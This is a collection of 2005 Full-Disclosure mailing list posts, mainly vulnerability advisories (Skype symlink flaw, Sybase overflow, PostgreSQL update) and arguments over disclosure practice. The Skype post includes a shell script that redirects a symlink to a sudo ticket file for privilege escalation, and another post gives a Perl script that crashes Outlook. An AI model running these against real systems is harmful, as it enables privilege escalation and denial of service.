[Full-disclosure] [ZH2005-16SA] Insecure temporary file creation in Skype for Linux
[ZH2005-16SA] Insecure temporary file creation in Skype for Linux Application: Skype for Linux Version affected: = 1.1.0.20 Vendor website : http://www.skype.com Author: Giovanni Delvecchio e-mail: [EMAIL PROTECTED] About Skype Skype is a free program that uses the latest P2P technology to bring affordable and high-quality voice communications to people all over the world.It also provides a service of Instant Messaging. Details Each user has his own profile which can be personalized with a picture. When a user adds a picture for his profile, Skype creates in /tmp directory a file named skype_profile.jpg in an insecure manner, without checking if the file already exists and if it's a symbolic link. - [EMAIL PROTECTED]:~/skype-1.1.0.20$ strace -e trace=open skype . . open(/home/bad/image.jpg, O_RDONLY|O_LARGEFILE) = 21 // picture chosen by user open(/tmp/skype_profile.jpg, O_WRONLY|O_CREAT|O_TRUNC|O_LARGEFILE, 0666) = 23 // insecure temporary file creation (it should use O_EXCL or O_NOFOLLOW flag) . . -- This could represent a security problem in a multi-user environment because usually /tmp directory is world-writable. Indeed, such problem could be exploited by a malicious local user via symlink attack to overwrite arbitrary files with the privileges of the user that running Skype. Example: ln -s file_to_overwrite /tmp/skype_profile.jpg When the user will add a picture for his profile , the file symlinked by attacker will be overwritten with the file content that the user has chosen to update his profile. In certain conditions a privilege escalation is possible. An example of privilege escalation exploiting this type of vulnerability is the following: from http://www.securityfocus.com/archive/82/327361/2003-06-29/2003-07-05/0 : Starting release 9, Red Hat ships and uses pam_timestamp_check.so module (accompanied by /sbin/pam_timestamp_check setuid helper), a part of the new pam-0.75 (Pluggable Authentication Modules) package. PAM is a generic centralized authentication and session management component that is also shipped by an increasing number of other distributions, so it is reasonable that the code is about to propagate to other distros. The module mentioned implements a credential caching functionality, very closely inspired on a tty ticketing system used in sudo. The way the module works(and sudo), in essence, is that it gets current pseudo-terminal name A, current user name B, and the user for which credentials are cached, C (usually root for Red Hat applications, user himself for sudo). Then the code checks for /var/run/sudo/B/A:C (or /var/run/sudo/B/A if B == C), and if the file is recent (regardless of its content), the module returns success, and enables the user to skip the usual password authentication. Since there's no check for file origin, it should be more than obvious that suddenly, any insecure file creation problem in an application used by a superuser,it is possible to spoof a ticket in /var/run and bypass root password prompt and other checks, and perform administrative tasks, easily modifying system config, installing custom components (say, a rootshell), etc. All this by crafting a single symlink that is later opened with O_CREAT with no O_EXCL or O_NOFOLLOW. Example: #!/bin/sh #get current terminal number from /dev/pts/xx terminal_number=`tty | cut -f4 -d '/'` user_ticket=$USER/$terminal_number:root ln -s /var/run/sudo/$user_ticket /tmp/skype_profile.jpg - Solution = No fix available at the moment; Grant only trusted users writing access to /tmp directory . Timeline = 07 April 2005 - bug dicovered 08 April 2005 - Skype contacted by [EMAIL PROTECTED] 14 April 2005 - 1th Response from Skype: Thank you for the email, we will pass it on to our developers. Regards, Andres 25 May 2005 - Skype for Linux version 1.1.0.13 released, the problem is present again. 27 May 2005 - Skype re-contacted by [EMAIL PROTECTED] 27 May 2005 - 2th Response from Skype: Giovanni, Thank you for the email again. I've spoken to our Linux developers and they assure me this will be fixed in the next version and they are considering posting an immediate advisory. Again, your help is appreciated. Regards, Andres 5 July 2005 - Skype for Linux version 1.1.0.20 released, but the bug hasn't been fixed. 15 July 205 - Public advisory Author's Note Although this type of vulnerability isn't a problem for a single desktop user, instead it could represent a problem in a
Re: [Full-disclosure] Secunia published adviso withoutrespectingrelease date !
Le 16 juil. 05 à 03:59, Jerome Athias a écrit : 2 things i remind myself... 1) http://seclists.org/lists/vulndiscuss/2004/Dec/0006.html Yes. I received this one. But I still don't agree that Secunia didn't take the time to inform The Caudium Group *before* sending this advisory to security lists. This is _not_ fair and positivement a bad way to be *respected* on security advisory. This also the reason why we decided (we = caudium group) to close bug tracker at sourceforge to avoid false information to be sent. Usualy the idea is : bug/security problems found - draft of advisory is sent to developpers to get more accurate information - time to make a fix - advisory is sent Secunia has just taken a bug from our tracker *without* telling the Caudium Group that are taking this for makeing a advisory, and just sent it to security lists with _false_ information. I still consider that this is half done work and they are not nice people when they make advisory. So because of that half done work, all Caudium Group developpers now don't trust anymore Secunia. I am sorry for them, but this is the way they make the advisory without contacting authors that give us this situation. 2) This is an answer of Thomas before a disclosure of some vuln that Secunia found at the same time : 10/09/2004 19:40 Re: OpenOffice World-Readable Temporary Files Disclose Files to Local Users Hi Jérôme, This issue was originally discovered by Secunia on 16th August and reported to the vendors. Please do not forward to anyone else. The various vendors well release updates on Wednesday in a co-ordinated disclosure. Kind regards, They didn't get so smarter with us. We still don't accept this fact. If they where so smart we still trust them. They were not so they are their own victim of their half work for Caudium group advisory. /Xavier ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] hehelol
hello, this is kcope and i´m bored .. soo
sending an email with an attachment named aux to a Microsoft Outlook
client crashes Outlook, can someone confirm that?
here´s some code to test that
-snip--
use Net::SMTP_auth;
$smtp = Net::SMTP_auth-new('mail.gmx.net');
$smtp-auth('CRAM-MD5', 'username', 'password'); # for smtp
authentication
$smtp-mail([EMAIL PROTECTED]);
$smtp-to([EMAIL PROTECTED]);
$a=aux;
$msg = Subject: a
MIME-Version: 1.0
Content-Type: multipart/mixed;
boundary= \KkK170891tpbkKk__FV_KKKkkkjjwq\
--KkK170891tpbkKk__FV_KKKkkkjjwq
Content-Type: text/html; charset=US-ASCII
here goes the text message
--KkK170891tpbkKk__FV_KKKkkkjjwq
Content-Type: text/html
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
filename= \.$a.\
$x
--KkK170891tpbkKk__FV_KKKkkkjjwq--
;
$smtp-data();
$smtp-datasend(To: [EMAIL PROTECTED]);
$smtp-datasend($msg\n);
$smtp-datasend(pwned\n);
$smtp-dataend();
$smtp-quit;
-snip
-kcope
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] Stack-Based Buffer Overflow in Sybase EAServer 4.2.5 to 5.2
Stack-Based Buffer Overflow in Sybase EAServer 4.2.5 to 5.2 --- Release Date: July 15 2005 Severity: Medium A vulnerability has been discovered in Sybase EAServer. If exploited, this can result in user-specified code being executed under the security context of the jagsrv.exe process. To complete this attack, you must be authenticated to /WebConsole/. By default, the jagadmin user password is set to blank so getting access might be trivial. After authenticating to /WebConsole/ if an attacker sets the value of the JavaScript parameter in TreeAction.do to a large value a return address can be overwritten due to a stack-based buffer overflow. For more information about this advisory, please visit our advisory page located at http://www.spidynamics.com/spilabs/advisories/sybaseEAserverOverflow.htm [Remediation] For a complete list of version affected and patch required, please visit the complete advisory page http://www.spidynamics.com/spilabs/advisories/sybaseEAserverOverflow.htm Vendor Information: Sybase was contacted on 05/05/2005. For more information about this advisory Please visited Sybase alert page http://www.sybase.com/detail?id=1036742 Contact Information [EMAIL PROTECTED] SPI Dynamics, Inc. 115 Perimeter Center Place N.E. suite 1100 Atlanta, GA. 30346 Toll-Free Phone: (866) 774-2700 SPI Dynamics was founded in 2000 by a team of accomplished Web security specialists; SPI Dynamics is the leader in Web application security technology. With such signature products as WebInspect, SPI Dynamics is dedicated to protecting companies' most valuable assets. SPI Dynamics has created a new breed of Internet security products for the Web application, the most vulnerable yet least secure component of online business infrastructure. Copyright (c) 2005 SPI Dynamics, Inc. All rights reserved worldwide. ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Secunia published adviso withoutrespectingrelease date !
2 things i remind myself... 1) http://seclists.org/lists/vulndiscuss/2004/Dec/0006.html 2) This is an answer of Thomas before a disclosure of some vuln that Secunia found at the same time : 10/09/2004 19:40 Re: OpenOffice World-Readable Temporary Files Disclose Files to Local Users Hi Jérôme, This issue was originally discovered by Secunia on 16th August and reported to the vendors. Please do not forward to anyone else. The various vendors well release updates on Wednesday in a co-ordinated disclosure. Kind regards, Thomas On Fri, 2004-09-10 at 17:31, [EMAIL PROTECTED] wrote: Date: Thu, 9 Sep 2004 23:52:18 -0400 Subject: http://www.openoffice.org/issues/show_bug.cgi?id=33357 Reporter: pmladek OS: Linux Version: OOo 1.1.2 Summary: Insecure permissions on temporary files at runtime When OOo is started, a directory /tmp/sv.tmp is created, where RAND is a 3 character random string. The permissions of this directory allow other users (depending on the user's umask) to 'cd' to this directory and list the contents. Once a file is saved, a zipped file is created in /tmp/sv.tmp and the name of the file follows the same convention. The permissions of the file allow others (depending on the user's umask) to read the content. Due to this any user can grab sensitive information of someother user. Steps to reproduce the problem: 1. Launch OpenOffice. 2. List /tmp contents. Locate the directory 'sv*.tmp' 3. Type in some contents in the document and save it. 4. List the contents of the directory /tmp/sv*.tmp/ 5. Do not cl ose OpenOffice. 'su' to a different user. 6. Copy the file under /tmp/sv*.tmp/ to home directory. 7. Use 'unzip' to unzip the files. 8. The file content.xml holds the data the user had just saved. The workaround is to set more secure umask. The problem is that the users does not know about it. Why should they need to set more strict umask if they save its data in a directory which has the correct permissions. They do not expect Regards, Jérôme ATHIAS --- that there are any world-readable temporary data available somewhere on the system. -- Kind regards, Thomas Kristensen CTO Secunia Toldbodgade 37B 1253 Copenhagen K Denmark Tlf.: +45 7020 5144 Fax: +45 7020 5145 So, express your opinion, but either they want exclusivity, either they respect the majority of the time the full-disclosure policy My 0,01€ /JA ** http://www.secunia.fr - Original Message - From: Xavier Beaudouin [EMAIL PROTECTED] To: [EMAIL PROTECTED]@class101.org Cc: full-disclosure@lists.grok.org.uk Sent: Thursday, July 14, 2005 12:59 PM Subject: Re: [Full-disclosure] Secunia published adviso withoutrespectingrelease date ! This is usual with secunia.. I had at bug in a beta version of software and they release a vulnerability to *all* version of this software without even inform the maintainer (me) of this pseudo advisory. My thought with this guys are now : don't even trust them... They push advisory without testing and respect the usual way to inform developper as it should. My 0,02€ /xavier Le 13 juil. 05 à 23:45, [EMAIL PROTECTED] [EMAIL PROTECTED] a écrit : -BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Then don't send to Secunia b4 the rls date ! HUH - -Message d'origine- De : [EMAIL PROTECTED] [mailto:full- [EMAIL PROTECTED] De la part de Eric Romang Envoyé : mardi 12 juillet 2005 21:09 À : [EMAIL PROTECTED] Cc : full-disclosure@lists.grok.org.uk; Eric Romang Objet : [Full- disclosure] Secunia published adviso without respectingrelease date ! Hello, This adviso are published on your website, but the patch are not already ok. I have contact upstream today, before you release the adviso, so they could react. As you can see in the adviso, the release date was not given http://secunia.com/advisories/16040/ http://secunia.com/advisories/16040/ http://secunia.com/advisories/16038/ You release adviso without respect the normal process to publish adviso. This guy is monitoring my /adviso/ folder. 80.161.200.182 I think this guy is working for you. So please say to him to respect the normal process in a security process. Regards. ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.2rc2 (MingW32) iQIVAwUBQtWLU6+LRXunxpxfAQL+1w/+IE947ec5TVHTUox8RC5JCSSAkk+C3GTf wAvkTzYoN7p0LLgFOGmf0oZUQytxQ1QKjgRSv0WeHM3sh/ZX3E33l6z+1aPwLOsO asJDVVYHoxJMTbxccO01dM724UvANPvfO68Y3YHOIcZupJQhzuIqIR8u+clUwwpc M7bToYBMaQbyGKCPuBpVdUqK8DVuXj9Q/+Fz8G+2kvEfM/leGhkOh55AWqcQyyJ0 YMEYFz4pxoR7HnYvMbxh3GLdRda0YhQj12uNw29VacLDmlYJ9JEIp2skfuk/nMM/ CMoVGMHz+HbOhBJTOYoLvqVUcPB9rahXNxgRHas/z8gydFUYzY8IXF5oWlAnw6UQ XrAYR9EvEJaXFO+FqDAoppEnvfv7NNm+dzs5yZCZM1cKel028Zg95sKkzjoAnqZA
[Full-disclosure] [FLSA-2005:152844] Updated PostgreSQL packages fix security issues
- Fedora Legacy Update Advisory Synopsis: Updated PostgreSQL packages fix security issues Advisory ID: FLSA:152844 Issue date:2005-07-16 Product: Red Hat Linux, Fedora Core Keywords: Bugfix CVE Names: CAN-2004-0977 CAN-2005-0227 CAN-2005-0244 CAN-2005-0245 CAN-2005-0246 CAN-2005-0247 - - 1. Topic: Updated PostgreSQL packages to fix various security flaws are now available. PostgreSQL is an advanced Object-Relational database management system (DBMS). 2. Relevant releases/architectures: Red Hat Linux 7.3 - i386 Red Hat Linux 9 - i386 Fedora Core 1 - i386 3. Problem description: Trustix has identified improper temporary file usage in the make_oidjoins_check script. It is possible that an attacker could overwrite arbitrary file contents as the user running the make_oidjoins_check script. This script has been removed from the RPM file since it has no use to ordinary users. The Common Vulnerabilities and Exposures project (cve.mitre.org) has assigned the name CAN-2004-0977 to this issue. A flaw in the LOAD command in PostgreSQL was discovered. A local user could use this flaw to load arbitrary shared librarys and therefore execute arbitrary code, gaining the privileges of the PostgreSQL server. The Common Vulnerabilities and Exposures project (cve.mitre.org) has assigned the name CAN-2005-0227 to this issue. A permission checking flaw in PostgreSQL was discovered. A local user could bypass the EXECUTE permission check for functions by using the CREATE AGGREGATE command. The Common Vulnerabilities and Exposures project (cve.mitre.org) has assigned the name CAN-2005-0244 to this issue. Multiple buffer overflows were found in PL/PgSQL. A database user who has permissions to create plpgsql functions could trigger this flaw which could lead to arbitrary code execution, gaining the privileges of the PostgreSQL server. The Common Vulnerabilities and Exposures project (cve.mitre.org) has assigned the names CAN-2005-0245 and CAN-2005-0247 to these issues. A flaw in the integer aggregator (intagg) contrib module for PostgreSQL was found. A user could create carefully crafted arrays and cause a denial of service (crash). The Common Vulnerabilities and Exposures project (cve.mitre.org) has assigned the name CAN-2005-0246 to this issue. Users of PostgreSQL are advised to update to these erratum packages which are not vulnerable to these issues. 4. Solution: Before applying this update, make sure all previously released errata relevant to your system have been applied. To update all RPMs for your particular architecture, run: rpm -Fvh [filenames] where [filenames] is a list of the RPMs you wish to upgrade. Only those RPMs which are currently installed will be updated. Those RPMs which are not installed but included in the list will not be updated. Note that you can also use wildcards (*.rpm) if your current directory *only* contains the desired RPMs. Please note that this update is also available via yum and apt. Many people find this an easier way to apply updates. To use yum issue: yum update or to use apt: apt-get update; apt-get upgrade This will start an interactive process that will result in the appropriate RPMs being upgraded on your system. This assumes that you have yum or apt-get configured for obtaining Fedora Legacy content. Please visit http://www.fedoralegacy.org/docs for directions on how to configure yum and apt-get. 5. Bug IDs fixed: https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=152844 6. RPMs required: Red Hat Linux 7.3: SRPM: http://download.fedoralegacy.org/redhat/7.3/updates/SRPMS/postgresql-7.2.7-1.2.legacy.src.rpm i386: http://download.fedoralegacy.org/redhat/7.3/updates/i386/postgresql-7.2.7-1.2.legacy.i386.rpm http://download.fedoralegacy.org/redhat/7.3/updates/i386/postgresql-contrib-7.2.7-1.2.legacy.i386.rpm http://download.fedoralegacy.org/redhat/7.3/updates/i386/postgresql-devel-7.2.7-1.2.legacy.i386.rpm http://download.fedoralegacy.org/redhat/7.3/updates/i386/postgresql-docs-7.2.7-1.2.legacy.i386.rpm http://download.fedoralegacy.org/redhat/7.3/updates/i386/postgresql-jdbc-7.2.7-1.2.legacy.i386.rpm http://download.fedoralegacy.org/redhat/7.3/updates/i386/postgresql-libs-7.2.7-1.2.legacy.i386.rpm http://download.fedoralegacy.org/redhat/7.3/updates/i386/postgresql-odbc-7.2.7-1.2.legacy.i386.rpm http://download.fedoralegacy.org/redhat/7.3/updates/i386/postgresql-perl-7.2.7-1.2.legacy.i386.rpm http://download.fedoralegacy.org/redhat/7.3/updates/i386/postgresql-python-7.2.7-1.2.legacy.i386.rpm http://download.fedoralegacy.org/redhat/7.3/updates/i386/postgresql-server-7.2.7-1.2.legacy.i386.rpm
Re: [Full-disclosure] Why Vulnerability Databases can't do everything
Do either of you seriously believe that it will ever be safe to use a software programmable CPU to automatically process data that originates from some place other than your fingertips? The entire personal and business computer industry is producing broken and dangerous products, yet it would require only a few fundamental changes to fix everything. Instead of putting effort and capital into this objective everyone is squabbling over changing software vendors' behavior or fretting over individual bugs and whether or not they should be disclosed and if so how and when. 1) Stop loading machine code from the same data storage devices to which user/application data is saved. 2) Don't allow machine code to be written to program storage unless it has first been enciphered with a key assigned to the computer. 3) Stop buffering runtime I/O within the same physical memory as machine code. 4) Put a stop the silly belief that software must be executed in the same form that it is delivered. (i.e. Just because the programmer wrote code that made Win32 API calls on the development box, this does not mean that the OS deployment that hosts the execution of that code has to support Win32 at all -- we need to insert a machine code transformation step prior to deployment of code, combining the principles of address space layout randomization with new approaches to API obfuscation/reassembly down to the level of customized/reassigned interrupts and CPU registers. 6) Etc. Do these things, some of which require modifications to the present fixed-opcode structure of the programmable CPU, and all outsider attacks against software will fail to accomplish anything other than a denial of service. With a little common sense applied to the design of computers, the only threats anyone would have to worry about are data theft, physical device tampering/hacking, and insiders. The company that achieves objectives like these will own the next 100 years of computing. Everyone who believes that security flaws in software are worth effort to discover and fix is very badly confused. Solving present-day systemic defects in the design of computing architectures, now that's important. Software bugs are a plague that infects every computer from the moment it is first assembled, but not because of software vendors' mistakes, rather as a direct result of genetic defects in the computer genome. Windows will no longer exist within 10 years because everyone will have realized that it was built on a flawed premise around defective hardware. Will Microsoft be the architect of the first non-defective programmable computer? No way. They only know how to profit by exploiting short-term opportunity. More likely, some microprocessor vendor will bring to market a machine architecture that the best and brightest programmers around the world will rally around to birth the neocomputer industry. Meanwhile, your continued loyalty to, investment in, and commercial exploitation of the computer technology we have today is obviously nothing more than an attempt to increase your own importance at the expense of others. Get over it. If you're a decent human being you will not buy nor encourage the purchase of a single computing device other than the Nokia 770 Linux Internet Tablet until the neocomputer industry emerges. Regards, Jason Coombs [EMAIL PROTECTED] ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Why Vulnerability Databases can't do everything
On Sat, 16 Jul 2005, Jason Coombs wrote: 3) Stop buffering runtime I/O within the same physical memory as machine code. This should have been #1 - and it is something I have been bitching about since the BIRTH of MPUs in the mid '70s. (yeah, I'm an old mainframe guy, so I saw the problem. just like everyone else did.) 90+ percent of our current woes can be laid at the doorstep of this single fuck up. -- Yours, J.A. Terranson [EMAIL PROTECTED] 0xBD4A95BF If I want to gamble, I'll continue to have unprotected sex with my 14 year old first cousin. (T-Shirt Hell Advertisement) ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Compromising pictures of Microsoft Internet Explorer!
I do not meen to flame you, but you are an irresponsible disgrace to the hacking community. Do you not care about the customer? You never publicly disclose details to a vulnerability of this magnitude. This is an image vulnerability, for crying out loud. What's the first thing they tell you to do when most vulnerability details are released? Disable active scripting. That doesn't work here. What are the innocent, ignorant computer users going to do? Disable images? I think not. You should be ashamed. I firmly believe that you are decieving us when you say you had a hard time with [EMAIL PROTECTED]; in fact, I don't even think that you have ever once in your life reported a vulnerability to them responsibly. Otherwise, you would not have such harsh feelings about them. If the evil of the stereotypical Microsoft machine exists anywhere on the campus in Redmond, it will not be found in the building of MSRC, which is where your [EMAIL PROTECTED] emails are directed. Come on man. I know you have talent. You are a good researcher of computer security. But if your talent is going to be wastedlike this, you are nothing more to us than a script kiddie. Regards, Paul Greyhats Security http://greyhatsecurity.org -- Original message from Michal Zalewski [EMAIL PROTECTED]: -- Synopsis: - Well, not really. Instead, at the risk of boring you to death, I'd like to report on a casual 30-minute experiment I've conducted of recent. This experiment resulted in identifying a potential remote code execution path in Microsoft Internet Explorer, plus some other bugs, and should be a good starting point for further testing of other browsers or similar programs. Discussion: --- You might remember the 'mangleme' affair, where various browsers were subjected by yours truly to a trivially constructed malformed HTML crash-course - all that in order to find exploitable input handling flaws. Back then, MSIE pe rformed admirably compared to other browsers (although did not escape some embarassment when [EMAIL PROTECTED] found the infamous IFRAME bug that way): http://lcamtuf.coredump.cx/mangleme/gallery/ Of recent, I decided to try something completely different and radically new, without having to do any actual work. I used the same META REFRESH auto-test framework to check for image decompression and parsing flaws (JPEG, GIF, PNG), as opposed to making fun of HTML renderers. I used a simple index.cgi script (attached, though hardly noteworthy) to dynamically generate a page that references ten just as dynamically created images. These images were prepared by running a test set of pictures (some regular ones, and several pathological cases created with ImageMagick) through a slightly modified version of my old afx utility. Surprisi ngly, it is MSIE and its proprietary JPEG decoder (apparently not shared with other Windows components?) that performed embarassingly poor this time. Results below. Vulnerability examples: --- NOTE #1: As with mangleme, this list of problems is most certainly NOT exhaustive, and performing longer tests or improving the technique would most likely result in additional findings. Several MSIE crash sample files from that 30-minute run are available at: http://lcamtuf.coredump.cx/crash/ Note that these may produce different results depending on program versions, plugins and configuration. Tested with WinXP Pro PL 2600.xpsp2.050301-1526 SP1, MSIE PL 6.0.2800.1106, up-to-date. mov_fencepost.jpg - on most platforms, causes a crash due to mov destination fencepost error after g oing past allocated memory, or after accessing a bogus address such as 0x27272727. The destination address appears to be controllable (i.e. changing the file or displaying other data before or along with this image alters it). My bets are that this is exploitable for remote execution. cmp_fencepost.jpg - here, causes a crash due to a very similar cmp fencepost (no write). Not necessarily exploitable for remote code execution, unless code execution path can be affected later on. oom_dos.jpg - usually causes a OOM crash. Less interesting, unless you like to punish people who borrow your pictures for their blogs. random.jpg - causes mov fencepost of CPU consumption + crash. Didn't investigate in much detail. NOTE #2: MSIE comes with no sources, and reverse engineering is naughty. I didn't examine the renderer to see what went w rong; I see unbounded, user-dependent memory accesses, and that spells trouble. Vendor notification: It is my experience that reporting and discussing security problems with Microsoft is a needlessly lengthy process that puts too much burden and effort on the researcher's end, especially if you just have a crash case, not a working exploit; hence, they did not get an advance notice. Bonus (OT) -- Since piggyback request smuggling and
Re: [Full-disclosure] Rooting Linux with a floppy
On Thu, Jul 14, 2005 at 04:23:31PM -0800, Sumy wrote: You have lost your root password on your linux box and now you consider formatting everythign to regain control? Your admin is a moron that leaves the server available physically for everybody? You wanna test your Linux box? Don't worry if you have at least a floppy rescue disk under hand,you can root it ;-) ) The problem with the new version of Linux since 6.2 is : http://www.exploitx.com/69/rooting-linux-with-a-floppy/ *yawn* This was old news 10 years ago. Unless you are facing a very special setup (for instance crypto disks even for system installation), you can easily take over most UNIX systems if you are able to boot from a medium of your choice. That's why physical security is important too. As a rule: You usually can take control of any system provided you have sufficient physical access to it. BTW: there are plenty of errors and omissions in the web page advertised by you. Regards, Alex. -- Opportunity is missed by most people because it is dressed in overalls and looks like work. -- Thomas A. Edison ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Compromising pictures of Microsoft Internet Explorer!
[EMAIL PROTECTED] wrote: I do not meen to flame you, but you are an irresponsible disgrace to the hacking community. Do you not care about the customer? You never publicly disclose details to a vulnerability of this magnitude. This is an image vulnerability, for crying out loud. Sure you do. You disclose the details of the vulnerability when the vendor has a proven history of non-responsiveness, and the damage that the vendor is able to do by stalling the release is most likely greater than the damage that will result from disclosure of several non-critical flaws. AFAICT, IE 6.0 SV1 merely crashes when faced with these issues. According to Microsoft, it's not a vulnerability at all unless there's an attack vector enabling code execution. Mr. Zalewski's statement about the undue burden that Microsoft's investigative processes place on the researcher is indeed accurate. The only time I've had any success working with Microsoft was when the issue was a straightforward code execution scenario. Oh wait... even then, I'm blown off. What's the first thing they tell you to do when most vulnerability details are released? Disable active scripting. That doesn't work here. What are the innocent, ignorant computer users going to do? Disable images? I think not. You should be ashamed. The point you miss, is that thanks to Mr. Zalewski's decision to publish the details of this vulnerability ensures that AV/IDS signatures exist for the portion of users who care to update them. Meanwhile, I can afford to wait the six, twelve, eighteen, or twenty four months that Redmond takes to patch IE issues. Or, maybe it will be a refreshingly reduced timeline, only a month or two, since this is a supposedly critical issue. I firmly believe that you are decieving us when you say you had a hard time with [EMAIL PROTECTED] mailto:[EMAIL PROTECTED]; in fact, I don't even think that you have ever once in your life reported a vulnerability to them responsibly. Otherwise, you would not have such harsh feelings about them. If the evil of the stereotypical Microsoft machine exists anywhere on the campus in Redmond, it will not be found in the building of MSRC, which is where your [EMAIL PROTECTED] mailto:[EMAIL PROTECTED] emails are directed. ...and I firmly believe that you have never had the experience of attempting to triage a vulnerability that was anything less than critical through Microsoft. If you have, as I have, you'll understand, as I do, that it's possibly the closest thing to hell you'll go through in your research work. The evil of the stereotypical Microsoft machine isn't as much an evil as an ineptitude. Microsoft's current processes have huge problems with efficiency, quality, and effectiveness that have few parallels in the industry, and it isn't for lack of resources. And aside from that, they require the researcher to provide a full, complete assessment of impact. That's not feasible for a great number of us, who are, after all, nothing more than volunteers. I'm a college student with a laptop and a few reverse engineering tools. If an issue is discovered that appears to permit some degree of compromise of a customer's PC, I _should_ be able to count on the MSRC to investigate the issue sufficiently to prove that damage is sufficiently unlikely/impossible. Instead, the inverse is true, with MSRC counting on me (the volunteer) to do the hours of research to prove that a vulnerability exists. And if the impact is anything less than remote code execution, prepare for at best a lengthy debate, at worst your report being swept under the rug with a maintenance release that never actually happens. The response (in a few less words) that many researchers have to these conditions is F--- it!. And, in my experience, it's certainly justified. Why am I volunteering my time to one of the world's largest corporations, when they don't care enough about their customers to give fairly obvious security issues their due diligence? After all, I don't have their code. Particularly given Redmond's tendency to take eternities to solve bugs that are responsibly disclosed to it, I'm thankful that the action was taken as it was, and not as you wish, for my safety and protection. If nothing else, Michal's report is further confirmation that Internet Explorer is one of the modern world's greatest programming disasters, and should be avoided at all costs, if you are a sysadmin intent on keeping your systems safe. Come on man. I know you have talent. You are a good researcher of computer security. But if your talent is going to be wasted like this, you are nothing more to us than a script kiddie. Sorry, but you have about as much claim to speak for us as this e-mail speaks for you. Now, at least my AV/IPS systems can attempt to block this attack. Sure beats sitting waiting, uninformed, while Redmond deliberates over its delivery mechanism and
Re: [Full-disclosure] Compromising pictures of Microsoft Internet Explorer!
They're going to use a different system - one that's not as vulnerable, or has secondary methods of protection. Say, Linux, or a HIDS of some sort. Any HIDS worth it's base price will protect against this sort of thing. Or they'll invest in buying machines that support the NX bit and install SP2. Not knowing about the bugs does not make you more secure. Believe me, finding bugs is not the hardest thing in the world. What Michal Zalewski did was tell people they were vulnerable, and how vulnerable they were. They, including your clueless self, are now free to make real descisions about their level of security. For this free work, you, and the mindless drones like you, are giving him undeserved shit because you bought some corporation's public relations line, to the point of parroting their terminology. Those of us who actually are in the hacking community think it is your small mind that is the irresponsible disgrace. -dave [EMAIL PROTECTED] wrote: I do not meen to flame you, but you are an irresponsible disgrace to the hacking community. Do you not care about the customer? You never publicly disclose details to a vulnerability of this magnitude. This is an image vulnerability, for crying out loud. What's the first thing they tell you to do when most vulnerability details are released? Disable active scripting. That doesn't work here. What are the innocent, ignorant computer users going to do? Disable images? I think not. You should be ashamed. I firmly believe that you are decieving us when you say you had a hard time with [EMAIL PROTECTED] mailto:[EMAIL PROTECTED]; in fact, I don't even think that you have ever once in your life reported a vulnerability to them responsibly. Otherwise, you would not have such harsh feelings about them. If the evil of the stereotypical Microsoft machine exists anywhere on the campus in Redmond, it will not be found in the building of MSRC, which is where your [EMAIL PROTECTED] mailto:[EMAIL PROTECTED] emails are directed. Come on man. I know you have talent. You are a good researcher of computer security. But if your talent is going to be wasted like this, you are nothing more to us than a script kiddie. Regards, Paul Greyhats Security http://greyhatsecurity.org -- Original message from Michal Zalewski [EMAIL PROTECTED]: -- Synopsis: - Well, not really. Instead, at the risk of boring you to death, I'd like to report on a casual 30-minute experiment I've conducted of recent. This experiment resulted in identifying a potential remote code execution path in Microsoft Internet Explorer, plus some other bugs, and should be a good starting point for further testing of other browsers or similar programs. Discussion: --- You might remember the 'mangleme' affair, where various browsers were subjected by yours truly to a trivially constructed malformed HTML crash-course - all that in order to find exploitable input handling flaws. Back then, MSIE pe rformed admirably compared to other browsers (although did not escape some embarassment when [EMAIL PROTECTED] found the infamous IFRAME bug that way): http://lcamtuf.coredump.cx/mangleme/gallery/ Of recent, I decided to try something completely different and radically new, without having to do any actual work. I used the same META REFRESH auto-test framework to check for image decompression and parsing flaws (JPEG, GIF, PNG), as opposed to making fun of HTML renderers. I used a simple index.cgi script (attached, though hardly noteworthy) to dynamically generate a page that references ten just as dynamically created images. These images were prepared by running a test set of pictures (some regular ones, and several pathological cases created with ImageMagick) through a slightly modified version of my old afx utility. Surprisi ngly, it is MSIE and its proprietary JPEG decoder (apparently not shared with other Windows components?) that performed embarassingly poor this time. Results below. Vulnerability examples: --- NOTE #1: As with mangleme, this list of problems is most certainly NOT exhaustive, and performing longer tests or improving the technique would most likely result in additional findings. Several MSIE crash sample files from that 30-minute run are available at: http://lcamtuf.coredump.cx/crash/ Note that these may produce different results depending on program versions, plugins and configuration. Tested with WinXP Pro PL 2600.xpsp2.050301-1526 SP1, MSIE PL 6.0.2800.1106, up-to-date. mov_fencepost.jpg - on
